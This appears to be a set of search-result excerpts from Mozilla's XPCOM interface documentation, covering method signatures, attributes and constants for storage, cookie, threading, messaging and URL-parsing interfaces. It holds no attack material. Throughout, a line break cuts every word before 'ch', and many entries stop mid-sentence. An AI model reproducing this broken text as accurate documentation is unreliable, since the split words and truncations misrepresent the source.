this is done using the functions addref() and release(), whi
ch respectively modify a variable of type nsautorefcnt, whi
ch basically is a wrapper around a count of the number of references refering to the class.
...there are no te
chnical problems with doing so, and in some cases it may be necessary (see bug 756640 comment 1).
... for example, we have template classes su
ch as owningnullptr that can contain a refptr to an xpcom interface.
... instead of using "do_queryinterface()" (whi
ch is used for nscomptrs), use "do_queryobject()", whi
ch works with refptrs: // let's say nsfoo implements nsifoo and nsibar xpcom interfaces: refptr<nsfoo> foo = new nsfoo(); nscomptr<nsibar> bar(do_queryobject(foo)); moz_assert(bar, "yikes someone
changed the base classes of nsfoo"); can i queryinterface an nscomptr back to a refptr?
mozIPlaceInfo
warning: this interface is experimental and will
change after gecko 2.0.
... toolkit/components/places/public/moziasyn
chistory.idlscriptable this interface provides additional info for a places entry 1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description frecency long read only: the frecency of the place.
... placeid long read only: the ma
chine-local (internal) id of the place.
... see also moziasyn
chistory mozivisitinfo ...
mozIStorageAsyncStatement
an asyn
chronous sql statement.
... this differs from mozistoragestatement by only being usable for asyn
chronous execution.
... (mozistoragestatement can be used for both syn
chronous and asyn
chronous purposes.) this specialization for asyn
chronous operation allows us to avoid needing to acquire syn
chronization primitives also used by the asyn
chronous execution thread.
... in contrast, mozistoragestatement may need to acquire the primitives and consequently can cause the main thread to lock for extended intervals while the asyn
chronous thread performs some long-running operation.
mozIStorageStatementCallback
the mozistoragestatementcallback interface represents a callback handler that the storage api calls with result, error, and completion notifications while handling asyn
chronous database queries.
... last
changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void handlecompletion(in unsigned short areason); void handleerror(in mozistorageerror aerror); void handleresult(in mozistorageresultset aresultset); constants constant value description reason_finished 0 the statement has finished executing normally.
...this function may be called more than once with a different storageierror ea
ch time for any given asyn
chronous statement, and handlecompletion will be called once the statement is complete.
...generally, this method will be called several times, ea
ch time providing one or more results.
mozIVisitInfo
toolkit/components/places/moziasyn
chistory.idlscriptable this interface provides additional info for a visit.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description referreruri nsiuri read only: the referring uri of this visit.
... visitid long read only: the ma
chine-local (internal) id of the visit.
... see also moziasyn
chistory ...
nsICRLManager
inherits from: nsisupports last
changed in gecko 1.7 method overview wstring computenextautoupdatetime(in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays); void deletecrl(in unsigned long crlindex); nsiarray getcrls(); void importcrl([array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey); void res
chedulecrlautoupdate(); boolean updatecrlfromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime(...
...void importcrl( [array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey ); parameters data length uri type dosilentdownload crlkey res
chedulecrlautoupdate() this would res
chedule the autoupdate of crls with auto update enable.
... void res
chedulecrlautoupdate(); parameters none.
... updatecrlfromurl() update an existing crl from the last fet
ched url.
nsIComponentRegistrar
inherits from: nsisupports last
changed in gecko 1.0 method overview void autoregister(in nsifile aspec); void autounregister(in nsifile aspec); string cidtocontractid(in nscidref aclass); nscidptr contractidtocid(in string acontractid); nsisimpleenumerator enumeratecids(); nsisimpleenumerator enumeratecontractids(); boolean iscidregistered(in nscidref aclass); boolean iscontractidregistered(in string acontractid); void registerfactory(in nscidref aclass, in string aclassname, in string acontractid, in nsifactory afactory); void registerfactorylocation(in nscidref aclass, in string aclassname, in string acontractid, in ns...
...registration lasts for this run only, and is not ca
ched.
...component files must have an associated loader and export the required symbols whi
ch this loader defines.
...this file must have an associated loader and export the required symbols, whi
ch the loader specifies.
nsIConsoleService
inherits from: nsisupports last
changed in gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16) implemented by: @mozilla.org/consoleservice;1 as a service: var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); method overview void getmessagearray([array, size_is(count)] out nsiconsolemessage messages, out uint32_t count);obsolete since gecko 19 void getmessagearray([optional] out uin...
... note: to guard against stack overflows from listeners whi
ch could log messages (this could be done inadvertently through listeners implemented in javascript), we do not call any listeners when another error is already being logged.
...in this example nsiscripterror, whi
ch implements nsiconsolemessage, is used to include information about the source file and line number of the error.
...acolumnnumber is used to draw the arrow pointing to the problem
character.
nsIContentPrefCallback2
dom/interfaces/base/nsicontentprefservice2.idlscriptable callback used by nsicontentprefservice2 methods 1.0 66 introduced gecko 20.0 inherits from: nsisupports last
changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) method overview void handlecompletion(in unsigned short reason); void handleerror(in nsresult error); void handleresult(in nsicontentpref pref); constants constant value description complete_ok 0 complete_error 1 methods handlecompletion() called when the method finishes.
... this will be called exactly once for ea
ch method invocation, and afterward no other callback methods will be called.
... void handlecompletion( in unsigned short reason ); parameters reason one of the complete_* values indicating the manner in whi
ch the method completed.
... handleresult() for the retrieval methods, this is called once for ea
ch retrieved preference.
nsICookieConsent
last
changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void getconsent(); methods getconsent() gives a decision on what should be done with a cookie, based on a site's p3p policy and the user's preferences.
... the policy for the given uri and
channel is also returned.
... nscookiestatus getconsent( in nsiuri uri, in nsihttp
channel http
channel, in boolean isforeign, out nscookiepolicy policy ); parameters uri the uri to find the policy for.
... http
channel the
channel to extract the p3p headers from.
nsICookieManager
last
changed in gecko 1.7 inherits from: nsisupports this interface is intended to be used as a service.
.../cookiemanager;1 component, but should generally be accessed via services.cookies method overview void remove(in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aoriginattributes); void removeall(); attributes attribute type description enumerator nsisimpleenumerator called to enumerate through ea
ch cookie in the cookie list.
... void remove( in autf8string ahost, in acstring aname, in autf8string apath, in boolean ablocked, in jsval aoriginattributes ); parameters ahost the host or domain for whi
ch the cookie was set.
... apath the path for whi
ch the cookie was set.
nsIDOMGlobalPropertyInitializer
dom/interfaces/base/nsidomglobalpropertyinitializer.idlscriptable an initializer for global properties that lets them know about the window they're being atta
ched to.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) an xpcom component implementing this interface can be exposed to web content as a property on the window.
...method overview jsval init(in nsidomwindow window); methods init() jsval init( in nsidomwindow window ); parameters window the window to whi
ch the global property is being atta
ched.
... it is also recommended to use __exposedprops__ to control whi
ch members are exposed.
nsIDOMHTMLTimeRanges
ea
ch time range represented by an nsidomhtmltimeranges object has an index number; you call the start() and end() methods to obtain the start and end times of ea
ch range, specifying the index number of the range to look up.
... last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports method overview float start(in unsigned long index); float end(in unsigned long index); attributes attribute type description length unsigned long the number of ranges represented by the nsidomhtmltimeranges object.
... return value the time at whi
ch the specified range ends, in seconds measured from the beginning of the timeline represented by the object.
... return value the time at whi
ch the specified range starts, in seconds measured from the beginning of the timeline represented by the object.
nsIDOMNSHTMLDocument
inherits from: nsisupports last
changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
...roughly equivalent to body.contenteditable domain domstring initially the host name of the document's url, but may be
changed to the parent (but not top-level) domain in order to facilitate data ex
change between documents from different sites in the same domain.
... fgcolor domstring same as body.text head nsidomhtmlheadelement returns the first
child element of the html element that is a head element, or null if there is no html or head element.
...see ri
ch-text editing in mozilla for a list of supported commands.
nsIDOMWindow2
it represents a single window object that may contain
child windows if the document in the window contains an html frameset document, or if the document contains <iframe> elements.
... inherits from: nsidomwindow last
changed in gecko 1.9 (firefox 3) because nsidomwindow is frozen, this interface was introduced in firefox 3 (gecko 1.9) to allow dom windows to take on new features.
... dom windows implement nsidomwindow2, whi
ch is a subclass of nsidomwindow.
... attributes attribute type description applicationca
che nsidomofflineresourcelist the application ca
che object for this window.
nsIDeviceMotion
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last
changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) note: this interface was named nsidevicemotion prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3).
... methods addlistener() when called, the accelerometer support implementation must begin to notify the specified nsidevicemotionlistener by calling its nsidevicemotionlistener.onacceleration
change() method as appropriate to share updated acceleration data.
... void addlistener( in nsidevicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object whose nsidevicemotionlistener.onacceleration
change() method should be called with updated acceleration data.
...void removelistener( in nsidevicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object to whi
ch no further updates should be sent.
nsIDictionary
66 introduced gecko 1.0 obsolete gecko 1.9.1 inherits from: nsisummary last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface was removed in firefox 3.5; use dict.jsm instead.
...method overview boolean haskey(in string key); void getkeys(out pruint32 count, [retval, array, size_is(count)] out string keys); nsisupports getvalue(in string key); void setvalue(in string key, in nsisupports value); nsisupports deletevalue(in string key); void clear(); methods haskey()
check if a given key is present in the dictionary.
... boolean haskey( in string key ); parameters key key to
check for.
... void setvalue( in string key, in nsisupports value ); parameters key the key by whi
ch the value can be accessed.
nsIDirIndex
because this has no reference back to their original source,
changing these attributes won't affect the directory.
... inherits from: nsisupports last
changed in gecko 1.7 attributes attribute type description contenttype string the content type; may be null if it is unknown.
... description wstring a description for the filename, whi
ch should be displayed by a viewer.
... lastmodified prtime last-modified time in seconds-since-epo
ch.
nsIDirectoryServiceProvider
inherits from: nsisupports last
changed in gecko 1.7 nsidirectoryserviceprovider.
...persistent true if the returned file will be ca
ched by directory service.
... subsequent requests for this prop will bypass the provider and use the ca
che.
... false if the provider will be asked for this prop ea
ch time it is requested.
nsIDroppedLinkHandler
1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean candroplink(in nsidomdragevent aevent, in prbool aallowsamedocument); astring droplink(in nsidomdragevent aevent, out astring aname, [optional] in boolean adisallowinherit); void droplinks(in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidroppedlinkitem alinks); methods candroplink() determines if a link being dragged can be dropped.
...this
check includes any parent, sibling and
child frames in the same content tree.
... if true, the source is not
checked.
...this prevents a source document from tricking the user into a dragging a
chrome url for example.
nsIDynamicContainer
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) the service can fill result nodes directly into the container when it is opened.
... it can use the property bag on every result node to store data associated with ea
ch item, su
ch as a full path on disk.
... it can also create additional containers for ea
ch container, registered to its service.
...anewindex the index at whi
ch the container will be inserted, or "-1" to append to the end of the list.
nsIEditorMailSupport
inherits from: nsisupports last
changed in gecko 1.7 method overview nsisupportsarray getembeddedobjects(); nsidomnode insertascitedquotation(in astring aquotedtext, in astring acitation, in boolean ainserthtml); nsidomnode insertasquotation(in astring aquotedtext); void inserttextwithquotations(in domstring astringtoinsert); void pasteascitedquotation(in astring acitation, in long aselectiontype); void pasteasquotation(in long aselectiontype); void rewrap(in boolean arespectnewlines); void stripcites(); methods getembeddedobjects() get a list of img and object tags in the current document.
...(vs plaintext) return value the nsidomnode whi
ch was inserted.
... return value the nsidomnode whi
ch was inserted.
... inserttextwithquotations() inserts a plain text string at the current location, with special processing for lines beginning with ">", whi
ch will be treated as mail quotes and inserted as plain text quoted blocks.
nsIEnvironment
inherits from: nsisupports last
changed in gecko 1.7 implemented by: @mozilla.org/process/environment;1 as a service: var env = components.classes["@mozilla.org/process/environment;1"].
...exists()
check the existence of an environment variable.
... this method
checks whether an environment variable is present in the environment or not.
... for non-unix/linux platforms we have to fall back to a "portable" definition (whi
ch is incorrect for unix/linux!!!!) whi
ch simply
checks whether the string returned by get() is empty or not.
nsIFTPEventSink
it can be used as a notification callback on an ftp
channel.
... netwerk/protocol/ftp/nsiftp
channel.idlscriptable please add a summary to this article.
... last
changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onftpcontrollog(in boolean server, in string msg) methods onftpcontrollog allows a consumer to receive a log of the ftp control connection conversation.
...msg a string holding response of the last command whi
ch had been sent.
nsIFeedProgressListener
1.0 66 introduced gecko 1.8 inherits from: nsifeedresultlistener last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleentry(in nsifeedentry entry, in nsifeedresult result); void handlefeedatfirstentry(in nsifeedresult result); void handlestartfeed(in nsifeedresult result); void reporterror(in astring errortext, in long linenumber, in boolean bozo); methods handleentry() cal...
...led after ea
ch entry or item is processed.
... void handlefeedatfirstentry( in nsifeedresult result ); parameters result an nsifeedresult describing the feed at the point at whi
ch the first entry is found, but before processing it.
... linenumber the line on whi
ch the error occurred.
nsIFrameMessageListener
1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is used when implementing out-of-process handling of frames; the process handling a frame should implement this interface in order to receive messages.
...called to deliver a message to the frame handling process; called with one parameter, whi
ch has the following properties: name the name of the message.
... sync a boolean value indicating whether or not the message should be handled syn
chronously.
... json the json object in whi
ch to return the response if the message is being handled syn
chronously.
nsIFrameMessageManager
1.0 66 introduced gecko 2.0 obsolete gecko 17.0 inherits from: nsisupports last
changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) this interface is obsolete and was removed in firefox 17.
... void addmessagelistener( in astring amessage, in nsiframemessagelistener alistener [optional in boolean listenwhenclosed ); parameters amessage the name of the message for whi
ch to add a listener.
... void removemessagelistener( in astring amessage, in nsiframemessagelistener alistener ); parameters amessage the name of the message for whi
ch to remove a listener.
... sendasyncmessage() asyn
chronously sends a message to the listeners.
nsIHttpActivityObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void observeactivity(in nsisupports ahttp
channel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata); attributes attribute type description isactive boolean true when the interface is active and should observe http activity, otherwise false.
...void observeactivity( in nsisupports ahttp
channel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata ); parameters ahttp
channel the nsihttp
channel on whi
ch the activity occurred.
...atimestamp the time at whi
ch the activity occurred, specified as microseconds elapsed since the epo
ch of midnight on january 1, 1970.
...because a single http transaction may consist of multiple
chunks of data transmitted through separate socket writes, ea
ch socket activity notification will only reflect the number of bytes transmitted in that
chunk.
nsIHttpUpgradeListener
netwerk/protocol/http/nsihttp
channelinternal.idlscriptable the callback interface for nsihttp
channelinternal.httpupgrade; this is called when an http protocol upgrade is finished.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last
changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this is used, for example, by websockets in order to upgrade an http
channel to use the websocket protocol.
... method overview void ontransportavailable(in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout); methods ontransportavailable() called when an http protocol upgrade attempt is completed, passing in the information needed by the protocol handler to take over the
channel that is no longer being used by http.
... note: to begin a protocol upgrade, call nsihttp
channelinternal.httpupgrade().
nsILocale
intl/locale/idl/nsilocale.idlscriptable represents one locale, whi
ch can be used for things like sorting text strings and formatting numbers, dates and times.
... inherits from: nsisupports last
changed in gecko 1.0 method overview astring getcategory(in astring category); methods getcategory() retrieves a string with the current locale name.
...nsilocale_ctype -
character classification and case conversion.
...nsilocale_messages - related to fonts,
character encodings and so on.
nsIMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message senders enable clients to send asyn
chronous messages to a single "other side".
... for example, a
child-process message manager will send messages that are only delivered to its one parent-process message manager.
... an object ea
ch of whose properties is an object.
... this becomes the objects property of the received message, with ea
ch original object replaced with a cross process object wrapper for it.
nsIMessageWakeupService
1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this service was introduced in gecko 5.0 on firefox for android, but was not provided on desktop until gecko 13.0 (firefox 13).
... the parentprocessmessagemanager is used for this, so messages send from
childprocessmessagemanagers will be heard.
...the easiest way to do this is to add the appropriate entry to the
chrome manifest that registers your component (see category in "
chrome registration").
... a comma-separated list of messages for whi
ch your component should be instantiated.
nsIMicrosummaryObserver
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface provides methods for observing
changes to micrummaries.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void oncontentloaded(in nsimicrosummary microsummary); void onelementappended(in nsimicrosummary microsummary); void onerror(in nsimicrosummary microsummary); methods oncontentloaded() called when an observed microsummary updates its content.
... since an observer might wat
ch multiple microsummaries at the same time, the microsummary whose content has been updated gets passed to this handler.
...void onerror( in nsimicrosummary microsummary ); parameters microsummary the microsumary whi
ch could not be updated.
nsIMsgCompFields
properties attribute type description atta
chments
char * obsolete atta
chments obsolete, do not use anymore atta
chmentsarray nsisupportsarray readonly atta
chvcard prbool bcc astring body astring bodyisasciionly prbool cc astring
characterset
char * default
characterset
char * readonly drafid
char * dsn prbool fcc astring fcc2 astring followupto
char * forcemsgencoding prbool forceplainte...
...(bug 68784) messageid
char * needto
check
charset prbool indicates whether we need to
check if the current document
charset can represent all the
characters in the message body.
...(bug 249530) newsgroups astring newshost
char * newsposturl
char * organization astring otherrandomheaders astring no longer exists - see https://groups.google.com/forum/#!topic/mozilla.dev.apps.thunderbird/s4ofmm8_b28 priority
char * receiptheadertype print32 references
char * replyto astring securityinfo nsisupports subject astring templatename astring temporaryfiles
char * obsolete temporaryfiles obsolete, do not use anymore to astring usemultipartalternative...
... prbool uuencodeatta
chments prbool methods utility methods prbool
check
charsetconversion ( out
char * fallback
charset ); nsimsgrecipientarray splitrecipients ( in pruni
char * recipients, in prbool emailaddressonly ); void convertbodytoplaintext ( ); atta
chment handling methods void addatta
chment ( in nsimsgatta
chment atta
chment ); void removeatta
chment ( in nsimsgatta
chment atta
chment ); void removeatta
chments ( ); header methods void setheader(
char* name,
char* value); references this interface is the type of the following properties: nsimsgcompose.compfields, nsimsgcomposeparams.composefields this interface is passed as an argument to the following method...
nsIMsgWindowCommands
inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) the javascript implementation of this used by thunderbird is given here.
... method overview void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clearmsgpane(); methods selectfolder() this method is called by the backend to
change the folder displayed in the message window.
... selectmessage() this method is called by the backend to
change the displayed message.
... for instance, when deleting atta
chments, this causes the message to be redisplayed.
nsINavHistoryQueryResultNode
1.0 66 introduced gecko 1.8 inherits from: nsinavhistorycontainerresultnode last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: if you request that places not be expanded in the options that generated the node, the node will report that it has no
children and will never try to populate itself.
... queryoptions nsinavhistoryqueryoptions the options that group the node's
children; only valid for result_type_query nodes.
... methods getqueries() returns the queries that build the node's
children; only valid for result_type_query nodes.
...queries an array of nsinavhistoryquery objects describing the set of queries that build the node's
children.
nsIParserUtils
1.0 66 introduced gecko 13.0 inherits from: nsisupports last
changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) warning: do not use this from within gecko--use nscontentutils, nstreesanitizer, and so on directly instead.
... sanitizerdropnoncsspresentation (1 << 3) flag for sanitizer: drops non-css presentational html elements and attributes, su
ch as <font>, <center>, and the bgcolor attribute.
... wrapcol number of
characters per line; 0 for no auto-wrapping.
... the sanitizer is designed to protect against xss when sanitized content is inserted into a different-origin context without an iframe-equivalent sandboxing me
chanism.
nsIPrefLocalizedString
modules/libpref/public/nsipreflocalizedstring.idlscriptable this interface is simply a wrapper interface for nsisupportsstring so the preferences service can have a unique identifier to distinguish between requests for normal wide strings nsisupportsstring) and 'localized' wide strings, whi
ch get their default values from properites files.
... inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setdatawithlength(in unsigned long length, [size_is(length)] in wstring data); wstring tostring(); attributes attribute type description data wstring provides access to string data stored in this property.
...this value should not include space for the null terminator, nor should it account for the size of a
character.
... it should only be the number of
characters for whi
ch there is space in the string.
nsIProfile
66 introduced gecko 0.9 deprecated gecko 1.8.1 obsolete gecko 20.0 inherits from: nsisupports last
changed in gecko 1.6 implemented by: @mozilla.org/profile/manager;1.
... to get access to the profile manager service: var profile = components.classes["@mozilla.org/profile/manager;1"] .getservice(components.interfaces.nsiprofile); note: this interface was used by seamonkey up through seamonkey 1.1 versions, whi
ch were based off gecko 1.8.1.
... constants profile shutdown types constant value description shutdown_persist 0x00000001 when shutting down the profile, save all
changes.
... shutdown_cleanse 0x00000002 when shutting down the profile, discard
changes.
nsIPropertyBag
inherits from: nsisupports last
changed in gecko 1.0 method overview nsivariant getproperty(in astring name); attributes attribute type description enumerator nsisimpleenumerator get a nsisimpleenumerator whose elements are nsiproperty objects.
... nsivariant getproperty( in astring name ); parameters name the name to return the mat
ching property.
... return value the property mat
ching the given name.
...to do this use nsipropertybag: services.sysinfo.getproperty("version"); //output 5.1 services.sysinfo.getproperty("name"); //output windows_nt services.sysinfo.getproperty("ar
ch"); //output x86 services.sysinfo.getproperty("haswindowstou
chinterface"); //outputs false or true if windows tou
ch is there consult the uxp repo (//github.com/realityripple/uxp/blob/master/xpcom/base/nssysteminfo.cpp) for the properties supported.
nsIProtocolProxyFilter
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface is used to apply filters to the proxies selected for a given uri.
...this is passed so that implementations may easily access methods su
ch as newproxyinfo.
... auri the uri for whi
ch these proxy settings apply.
...this can be just be aproxy if the filter
chooses not to modify the proxy.
nsIScriptableInputStream
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long available(); void close(); void init(in nsiinputstream ainputstream); string read(in unsigned long acount); acstring readbytes(in unsigned long acount); methods available() return the number of bytes currently available in the stream.
... return value the data read as a string, whi
ch will be an empty string if the stream is at eof.
... return value the data from the stream, whi
ch will be an empty string if eof has been rea
ched.
...excerpt of the stream for this stream article is here, this is only an excerpt so cannot copy paste this code into scrat
chpad.
nsIServiceManager
inherits from: nsisupports last
changed in gecko 1.0 method overview void getservice(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getservicebycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); boolean isserviceinstantiated(in nscidref aclass, in nsiidref aiid); boolean isserviceinstantiatedbycontractid(in string acontractid, in nsiidref aiid); methods getservice() this method returns a reference to a particular xpcom s...
...unlike createinstance, this will always return the same object ea
ch time it is called with the same arguments.
...in some language bindings, su
ch as javascript, this step is unnecessary.
... and, moreover su
ch languages typically offer more convenient me
chanisms to acquire references to xpcom services and components.
nsIStringBundle
inherits from: nsisupports last
changed in gecko 1.7 this interface is used by xul:stringbundle to retrieve strings.
...th); wstring formatstringfromname(in wstring aname, [array, size_is(length)] in wstring params, in unsigned long length); nsisimpleenumerator getsimpleenumeration(); wstring getstringfromid(in long aid); wstring getstringfromname(in wstring aname); methods formatstringfromid() returns a formatted string with the given id from the string bundle, where ea
ch occurrence of %s (uppercase) is replaced by ea
ch successive element in the supplied array.
... formatstringfromname() returns a formatted string with the given key name from the string bundle, where ea
ch occurrence of %s (uppercase) is replaced by ea
ch successive element in the supplied array.
...string id's are assigned by the order in whi
ch they are stored in the properties file.
nsIStyleSheetService
last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports implemented by: @mozilla.org/content/style-sheet-service;1.
... boolean sheetregistered(in nsiuri sheeturi, in unsigned long type); void unregistersheet(in nsiuri sheeturi, in unsigned long type); constants constant value description agent_sheet 0 user_sheet 1 author_sheet 2 methods loadandregistersheet() syn
chronously loads a style sheet from sheeturi and adds it to the list of user or agent style sheets.
... a user sheet loaded via this api will come before usercontent.css and user
chrome.css in the cascade (so the rules in it will have lower precedence than rules in those sheets).
... sheetregistered()
check if a stylesheet has been registered boolean sheetregistered( in nsiuri sheeturi, in unsigned long type ); parameters sheeturi uri of the stylesheet to
check.
nsITaggingService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/tagging-service;1.
...tags in atags whi
ch are already set for the given uri are ignored.
...tags from atags whi
ch are not set for the given uri are ignored.
...nsivariant gettagsforuri( in nsiuri auri, [optional] out unsigned long length, [retval, array, size_is(length)] out wstring atags ); parameters auri the uri for whi
ch to return the tags.
nsITextInputProcessorCallback
dom/interfaces/base/nsitextinputprocessor.idlscriptable a callback interface for nsitextinputprocessor user 1.0 66 introduced gecko 38 inherits from: nsisupports last
changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) nsitextinputprocessorcallback is defined for receiving requests and notifications to ime from gecko.
... example of simple js-ime: var simpleime = { _hasfocus: false, _hasrightstocompose: false, _tip: null, _callback: function simpleime_callback(atip, anotification) { try { swit
ch (anotification.type) { case "request-to-commit": atip.commitcomposition(); break; case "request-to-cancel": atip.cancelcomposition(); break; case "notify-focus": this._hasfocus = true; break; case "notify-blur": this._hasfocus = false; break; case "notify-deta
ched": this._hasfocus = false; this._hasrightstocompose = false; break; } return true...
...; } cat
ch (e) { return false; } }, setcomposition: function simpleime_setcomposition(atext, aclauses, acaret) { if (!this._tip) { this._tip = components.classes["@mozilla.org/text-input-processor;1"].
... boolean onnotify(in nsitextinputprocessor atextinputprocessor, in nsitextinputprocessornotification anotification); parameters atextinputprocessor the instance whi
ch receives the notification.
nsIThreadManager
the nsithreadmanager interface lets applications and extensions create and manage threads, ea
ch of whi
ch is represented by an nsithread.
... last
changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview nsithread getthreadfromprthread(in prthread prthread); native code only!
... nsithread getthreadfromprthread( in prthread prthread ); parameters prthread the prthread for whi
ch to retrieve the corresponding nsithread.
... return value the nsithread mat
ching the specified prthread, or null if there is no mat
ching nsithread.
nsIThreadPool
1.0 66 introduced gecko 1.9 inherits from: nsieventtarget last
changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool provides a convenient way to process events off the main thread.
... a listener will only receive notifications about threads created after the listener is set so it is recommended that the consumer set the listener before dispat
ching the first event.
... threadlimit unsigned long the maximum number of threads allowed at once in the pool; you may
change this value by altering this attribute.
... when this method returns, the thread pool and all its threads will have been shut down, and it is no longer be possible to dispat
ch events to the thread pool.
nsITransport
inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface provides methods to open blocking or non-blocking, buffered or unbuffered streams to the resource.
... asegmentsize if open_unbuffered is not set, then this parameter specifies the size of ea
ch buffer segment (pass 0 to use default value).
... asegmentsize if open_unbuffered is not set, then this parameter specifies the size of ea
ch buffer segment (pass 0 to use default value).
...aeventtarget indicates the event target to whi
ch the notifications should be delivered.
nsIURLParser
inherits from: nsisupports last
changed in gecko 1.7 method overview void parseauthority(in string authority, in long authoritylen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parsefilename(in string filename, in long filenamelen, out unsigned long basenamepos, out long basenamelen, out unsigned long extensionpos, out long extensionlen); void parsefilepath(in string filepath, in long filepathlen, out unsigned long directorypos, out long directorylen, out unsigned long basenamepos, out long basenam...
...en, out unsigned long filepathpos, out long filepathlen, out unsigned long parampos, out long paramlen, out unsigned long querypos, out long querylen, out unsigned long refpos, out long reflen); void parseserverinfo(in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port); void parseurl(in string spec, in long speclen, out unsigned long s
chemepos, out long s
chemelen, out unsigned long authoritypos, out long authoritylen, out unsigned long pathpos, out long pathlen); void parseuserinfo(in string userinfo, in long userinfolen, out unsigned long usernamepos, out long usernamelen, out unsigned long passwordpos, out long passwordlen); methods the string to parse in the methods may be given as a null terminated string, in whi
ch case ...
...obsolete since gecko 9.0 querypos querylen refpos reflen parseserverinfo() serverinfo = <hostname>:<port> void parseserverinfo( in string serverinfo, in long serverinfolen, out unsigned long hostnamepos, out long hostnamelen, out long port ); parameters serverinfo serverinfolen hostnamepos hostnamelen port parseurl() breaks the url string up into its 3 major components: a s
cheme, an authority section (hostname, and so on.), and a path.
... spec = <s
cheme>://<authority><path> void parseurl( in string spec, in long speclen, out unsigned long s
